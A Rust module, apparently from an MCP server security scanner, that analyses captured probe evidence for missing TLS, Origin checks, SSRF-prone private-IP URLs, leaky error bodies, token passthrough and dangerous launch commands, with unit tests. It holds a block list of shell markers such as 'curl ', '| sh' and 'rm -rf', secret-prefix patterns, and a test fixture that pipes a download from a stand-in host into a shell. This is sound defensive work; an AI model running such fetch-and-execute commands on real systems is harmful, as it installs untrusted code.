//! Transport, auth, and local probe analyzers (ADR 0039).
//!
//! These checks need active behavior the static engine cannot see: whether a
//! server accepts plaintext, validates Origin, blocks private-IP URLs, leaks in
//! error envelopes, requires auth, or launches a dangerous stdio command. The
//! analyzers here are deterministic and operate on captured [`ProbeEvidence`]:
//! the live probing (making the requests, launching the connection) is the
//! caller's job and sits behind the evidence struct, the same split the C1/C2
//! and advisory layers use. That keeps this crate transport-free and lets a
//! probe run replay from a cassette.
//!
//! Detectability is honest: a probe whose evidence was not captured produces no
//! finding rather than guessing. Several catalog probes are marked "partial"
//! because a black-box client cannot always observe them; this module
//! implements the ones with clear deterministic analysis and leaves the rest
//! documented in `docs/security/security-test-catalog.md`.
//!
//! The first batch (SEC-017..023) landed. The follow-up batch
//! (SEC-024..032) landed and lives in a private submodule; both
//! batches read the same [`ProbeEvidence`] struct and route through
//! [`probe_findings`], so the public surface is unchanged.

mod wor793;

use std::net::IpAddr;
use std::str::FromStr;

use serde::{Deserialize, Serialize};

use super::posture::AuthPostureKind;
use super::{CheckCategory, DefinitionKind, SecurityFinding, SecuritySeverity};

/// Observable evidence a caller captured by probing a target. Every field is
/// optional: a probe whose evidence is absent simply does not fire.
///
/// `#[serde(default)]` so a snapshot's `probe_evidence` block can carry only the
/// fields a probe actually captured; the rest default to absent rather than
/// failing the whole block to deserialize.
#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
#[serde(default)]
pub struct ProbeEvidence {
    /// Whether a plaintext HTTP request to a non-loopback address was accepted.
    /// `Some(true)` means the server served HTTP without TLS off localhost.
    pub plaintext_accepted_off_loopback: Option<bool>,
    /// Whether the server accepted a request carrying a foreign `Origin` header.
    pub foreign_origin_accepted: Option<bool>,
    /// URLs the server advertised (OAuth, discovery), checked for private or
    /// metadata IP literals.
    pub advertised_urls: Vec<String>,
    /// A captured error response body, scanned for leaked internals.
    pub error_body: Option<String>,
    /// The auth tier observed at the handshake.
    pub auth_tier: Option<AuthPostureKind>,
    /// Whether the server accepted a token whose audience was not itself
    /// (token passthrough).
    pub foreign_audience_token_accepted: Option<bool>,
    /// The stdio launch command, for the local static checks.
    pub stdio_command: Vec<String>,

    // ---  follow-up probes (SEC-024..032). ---
    /// Outcome of a controlled request burst. `Some(true)` means every request
    /// in the burst succeeded, so no rate limiting was observed.
    pub burst_all_succeeded: Option<bool>,
    /// Whether the server advertised capabilities at the handshake. Paired with
    /// `capability_attestation_present` to flag advertisement without proof.
    pub capabilities_advertised: Option<bool>,
    /// Whether the advertised capabilities carried an attestation (a signature
    /// or a verifiable claim). `Some(false)` with advertisement is the finding.
    pub capability_attestation_present: Option<bool>,
    /// Whether the server used MCP sampling (server-initiated model calls).
    pub sampling_used: Option<bool>,
    /// Whether the sampling origin was authenticated. `Some(false)` with
    /// `sampling_used == Some(true)` is the finding.
    pub sampling_origin_authenticated: Option<bool>,
    /// The largest response size observed during probing, in bytes.
    pub observed_max_response_bytes: Option<u64>,
    /// A server-side response-size bound the server declared, in bytes. `None`
    /// means the server declared no bound.
    pub declared_response_bound_bytes: Option<u64>,
    /// Whether the server advertises and honors RFC 8707 resource indicators.
    /// `Some(false)` is the finding.
    pub resource_indicators_supported: Option<bool>,
    /// OAuth scopes the server advertised, scanned for wildcard or omnibus
    /// entries.
    pub advertised_scopes: Vec<String>,
    /// Session identifiers observed across the handshake, scanned for low
    /// entropy or a sequential pattern.
    pub observed_session_ids: Vec<String>,
    /// Whether the session identifier is used as an authentication credential
    /// (the MCP spec forbids this). `Some(true)` is the finding.
    pub session_used_for_auth: Option<bool>,
    /// For a proxy server: whether it collects per-client consent before acting
    /// on a downstream client's behalf. `Some(false)` is the finding.
    pub proxy_per_client_consent: Option<bool>,
    /// For a proxy server: whether it matches `redirect_uri` exactly rather
    /// than by prefix or substring. `Some(false)` is the finding.
    pub proxy_exact_redirect_uri_match: Option<bool>,
    /// The install source string for a local server (a package spec, a URL, a
    /// path), scanned for a missing version pin or provenance.
    pub install_source: Option<String>,
}

/// Build a probe finding. Shared with the [`wor793`] submodule so both batches
/// emit the same shape (the catch-all `Tool` kind with the target in the
/// definition label).
pub(super) fn finding(
    rule_id: &str,
    name: &str,
    severity: SecuritySeverity,
    category: CheckCategory,
    definition: String,
    message: String,
    evidence: String,
) -> SecurityFinding {
    SecurityFinding {
        rule_id: rule_id.to_string(),
        name: name.to_string(),
        severity,
        category,
        definition,
        // These checks are not about one tool, prompt, or resource. Following
        // the relational families (namespace, integrity), the kind is the Tool
        // catch-all and the definition carries the target label.
        kind: DefinitionKind::Tool,
        message,
        evidence,
    }
}

/// Run every implemented transport, auth, and local probe over the evidence.
pub fn probe_findings(evidence: &ProbeEvidence) -> Vec<SecurityFinding> {
    let mut out = Vec::new();
    out.extend(tls_required(evidence));
    out.extend(origin_validation(evidence));
    out.extend(private_ip_guard(evidence));
    out.extend(error_envelope_leak(evidence));
    out.extend(posture_tier(evidence));
    out.extend(token_audience(evidence));
    out.extend(dangerous_startup_command(evidence));
    out.extend(wor793::followup_findings(evidence));
    out
}

/// SEC-017: a non-loopback server that serves plaintext HTTP. The MCP spec
/// requires HTTPS off localhost.
fn tls_required(evidence: &ProbeEvidence) -> Option<SecurityFinding> {
    if evidence.plaintext_accepted_off_loopback == Some(true) {
        return Some(finding(
            "SEC-017",
            "tls-required",
            SecuritySeverity::High,
            CheckCategory::Transport,
            "<transport>".to_string(),
            "server accepted plaintext HTTP on a non-loopback address; the spec requires TLS"
                .to_string(),
            "plaintext accepted off loopback".to_string(),
        ));
    }
    None
}

/// SEC-018: a server that does not validate the `Origin` header is open to
/// DNS rebinding.
fn origin_validation(evidence: &ProbeEvidence) -> Option<SecurityFinding> {
    if evidence.foreign_origin_accepted == Some(true) {
        return Some(finding(
            "SEC-018",
            "origin-validation",
            SecuritySeverity::High,
            CheckCategory::Transport,
            "<transport>".to_string(),
            "server accepted a request with a foreign Origin; it is exposed to DNS rebinding"
                .to_string(),
            "foreign Origin accepted".to_string(),
        ));
    }
    None
}

/// SEC-019: an advertised URL that points at a private or cloud-metadata IP is
/// an SSRF risk. Only IP literals are flagged; a hostname needs resolution the
/// black-box client cannot do deterministically, so it is left partial.
fn private_ip_guard(evidence: &ProbeEvidence) -> Vec<SecurityFinding> {
    let mut out = Vec::new();
    for url in &evidence.advertised_urls {
        let Some(host) = url_host(url) else { continue };
        let Ok(ip) = IpAddr::from_str(host) else {
            continue;
        };
        if is_private_or_metadata(&ip) {
            out.push(finding(
                "SEC-019",
                "private-ip-guard",
                SecuritySeverity::High,
                CheckCategory::Transport,
                url.clone(),
                "advertised URL resolves to a private or metadata IP range (SSRF risk)".to_string(),
                host.to_string(),
            ));
        }
    }
    out
}

/// SEC-020: an error envelope that leaks a stack trace, an internal path, or a
/// secret. CWE-209.
fn error_envelope_leak(evidence: &ProbeEvidence) -> Option<SecurityFinding> {
    let body = evidence.error_body.as_deref()?;
    let leak = error_leak_marker(body)?;
    Some(finding(
        "SEC-020",
        "error-envelope-leak",
        SecuritySeverity::Medium,
        CheckCategory::Transport,
        "<transport>".to_string(),
        format!("error envelope leaks {leak}"),
        leak.to_string(),
    ))
}

/// SEC-021: report the auth tier as an informational posture signal. The
/// catalog fixes this at info; it describes the server, it does not grade it.
fn posture_tier(evidence: &ProbeEvidence) -> Option<SecurityFinding> {
    let tier = evidence.auth_tier?;
    let message = match tier {
        AuthPostureKind::None => "auth tier: none (server requires no authentication)".to_string(),
        other => format!("auth tier: {}", other.label()),
    };
    Some(finding(
        "SEC-021",
        "posture-tier",
        SecuritySeverity::Info,
        CheckCategory::Auth,
        "<auth>".to_string(),
        message,
        tier.label().to_string(),
    ))
}

/// SEC-022: a server that accepts a token whose audience is not itself is doing
/// token passthrough, which the MCP spec forbids (RFC 8707).
fn token_audience(evidence: &ProbeEvidence) -> Option<SecurityFinding> {
    if evidence.foreign_audience_token_accepted == Some(true) {
        return Some(finding(
            "SEC-022",
            "token-audience",
            SecuritySeverity::High,
            CheckCategory::Auth,
            "<auth>".to_string(),
            "server accepted a token not issued for it (token passthrough); RFC 8707 forbids this"
                .to_string(),
            "foreign-audience token accepted".to_string(),
        ));
    }
    None
}

/// SEC-023: a stdio launch command that pipes a download into a shell, runs as
/// root, or evals untrusted input is a supply-chain risk.
fn dangerous_startup_command(evidence: &ProbeEvidence) -> Option<SecurityFinding> {
    if evidence.stdio_command.is_empty() {
        return None;
    }
    let joined = evidence.stdio_command.join(" ");
    let lowered = joined.to_lowercase();
    let markers = [
        "| sh", "|sh", "| bash", "|bash", "curl ", "wget ", "rm -rf", "sudo ", "eval ", "bash -c",
        "sh -c",
    ];
    let hit = markers.iter().find(|m| lowered.contains(*m))?;
    Some(finding(
        "SEC-023",
        "dangerous-startup-command",
        SecuritySeverity::Critical,
        CheckCategory::Local,
        "<stdio-command>".to_string(),
        "stdio launch command runs a dangerous shell pattern".to_string(),
        (*hit).to_string(),
    ))
}

/// Extract the host from a URL without pulling in a URL parser. Handles
/// `scheme://user@host:port/path` and IPv6 literals in brackets. Returns `None`
/// when there is no `scheme://` authority to read.
fn url_host(url: &str) -> Option<&str> {
    let authority = url.split("://").nth(1)?.split('/').next()?;
    let host_port = authority.rsplit('@').next()?;
    if let Some(rest) = host_port.strip_prefix('[') {
        // IPv6 literal: [addr]:port
        return rest.split(']').next();
    }
    Some(host_port.split(':').next().unwrap_or(host_port))
}

/// True for IPv4 private, loopback, or link-local (which covers the
/// 169.254.169.254 metadata address), and IPv6 loopback.
fn is_private_or_metadata(ip: &IpAddr) -> bool {
    match ip {
        IpAddr::V4(v4) => v4.is_private() || v4.is_loopback() || v4.is_link_local(),
        IpAddr::V6(v6) => v6.is_loopback(),
    }
}

/// Find a leak marker in an error body, or `None` when it looks clean.
fn error_leak_marker(body: &str) -> Option<&'static str> {
    let stack = [
        "Traceback (most recent call last)",
        "panicked at",
        ".rs:",
        ".java:",
        ".py\", line ",
        "\n    at ",
    ];
    if stack.iter().any(|m| body.contains(m)) {
        return Some("a stack trace");
    }
    let secrets = ["-----BEGIN", "AKIA", "sk-", "Bearer ey"];
    if secrets.iter().any(|m| body.contains(m)) {
        return Some("a possible secret");
    }
    None
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn tls_required_fires_on_plaintext_off_loopback() {
        let ev = ProbeEvidence {
            plaintext_accepted_off_loopback: Some(true),
            ..Default::default()
        };
        let findings = probe_findings(&ev);
        assert!(findings.iter().any(|f| f.rule_id == "SEC-017"));
    }

    #[test]
    fn tls_required_silent_when_evidence_absent() {
        let findings = probe_findings(&ProbeEvidence::default());
        assert!(!findings.iter().any(|f| f.rule_id == "SEC-017"));
    }

    #[test]
    fn origin_validation_fires_on_accepted_foreign_origin() {
        let ev = ProbeEvidence {
            foreign_origin_accepted: Some(true),
            ..Default::default()
        };
        assert!(probe_findings(&ev).iter().any(|f| f.rule_id == "SEC-018"));
    }

    #[test]
    fn private_ip_guard_flags_metadata_and_private_literals() {
        let ev = ProbeEvidence {
            advertised_urls: vec![
                "https://169.254.169.254/latest/meta-data".to_string(),
                "http://10.0.0.5:8080/oauth".to_string(),
                "https://api.example.com/oauth".to_string(),
            ],
            ..Default::default()
        };
        let hits = probe_findings(&ev)
            .into_iter()
            .filter(|f| f.rule_id == "SEC-019")
            .count();
        // The metadata IP and the RFC 1918 IP fire; the public hostname does not.
        assert_eq!(hits, 2);
    }

    #[test]
    fn private_ip_guard_ignores_public_hostnames() {
        let ev = ProbeEvidence {
            advertised_urls: vec!["https://auth.example.com/oauth".to_string()],
            ..Default::default()
        };
        assert!(!probe_findings(&ev).iter().any(|f| f.rule_id == "SEC-019"));
    }

    #[test]
    fn error_envelope_leak_flags_a_stack_trace() {
        let ev = ProbeEvidence {
            error_body: Some("{\"error\":\"panicked at src/lib.rs:42\"}".to_string()),
            ..Default::default()
        };
        assert!(probe_findings(&ev).iter().any(|f| f.rule_id == "SEC-020"));
    }

    #[test]
    fn error_envelope_leak_silent_on_clean_body() {
        let ev = ProbeEvidence {
            error_body: Some(
                "{\"error\":{\"code\":-32602,\"message\":\"invalid params\"}}".to_string(),
            ),
            ..Default::default()
        };
        assert!(!probe_findings(&ev).iter().any(|f| f.rule_id == "SEC-020"));
    }

    #[test]
    fn posture_tier_reports_the_tier_as_info() {
        let none = ProbeEvidence {
            auth_tier: Some(AuthPostureKind::None),
            ..Default::default()
        };
        let f = probe_findings(&none)
            .into_iter()
            .find(|f| f.rule_id == "SEC-021")
            .expect("posture finding");
        assert_eq!(f.severity, SecuritySeverity::Info);
        assert!(f.message.contains("none"));

        let oauth = ProbeEvidence {
            auth_tier: Some(AuthPostureKind::OAuth),
            ..Default::default()
        };
        let f = probe_findings(&oauth)
            .into_iter()
            .find(|f| f.rule_id == "SEC-021")
            .expect("posture finding");
        assert_eq!(f.severity, SecuritySeverity::Info);
        assert!(f.message.contains("OAuth"));
    }

    #[test]
    fn token_audience_flags_passthrough() {
        let ev = ProbeEvidence {
            foreign_audience_token_accepted: Some(true),
            ..Default::default()
        };
        let f = probe_findings(&ev)
            .into_iter()
            .find(|f| f.rule_id == "SEC-022")
            .expect("token finding");
        assert_eq!(f.severity, SecuritySeverity::High);
    }

    #[test]
    fn dangerous_startup_command_flags_curl_pipe_sh() {
        let ev = ProbeEvidence {
            stdio_command: vec![
                "sh".to_string(),
                "-c".to_string(),
                "curl https://x.test/install.sh | sh".to_string(),
            ],
            ..Default::default()
        };
        assert!(probe_findings(&ev).iter().any(|f| f.rule_id == "SEC-023"));
    }

    #[test]
    fn dangerous_startup_command_silent_on_benign_command() {
        let ev = ProbeEvidence {
            stdio_command: vec!["mcptest-server".to_string(), "--stdio".to_string()],
            ..Default::default()
        };
        assert!(!probe_findings(&ev).iter().any(|f| f.rule_id == "SEC-023"));
    }

    #[test]
    fn url_host_handles_userinfo_port_and_ipv6() {
        assert_eq!(url_host("https://u:p@host.test:443/x"), Some("host.test"));
        assert_eq!(url_host("http://[::1]:8080/x"), Some("::1"));
        assert_eq!(url_host("not a url"), None);
    }
}
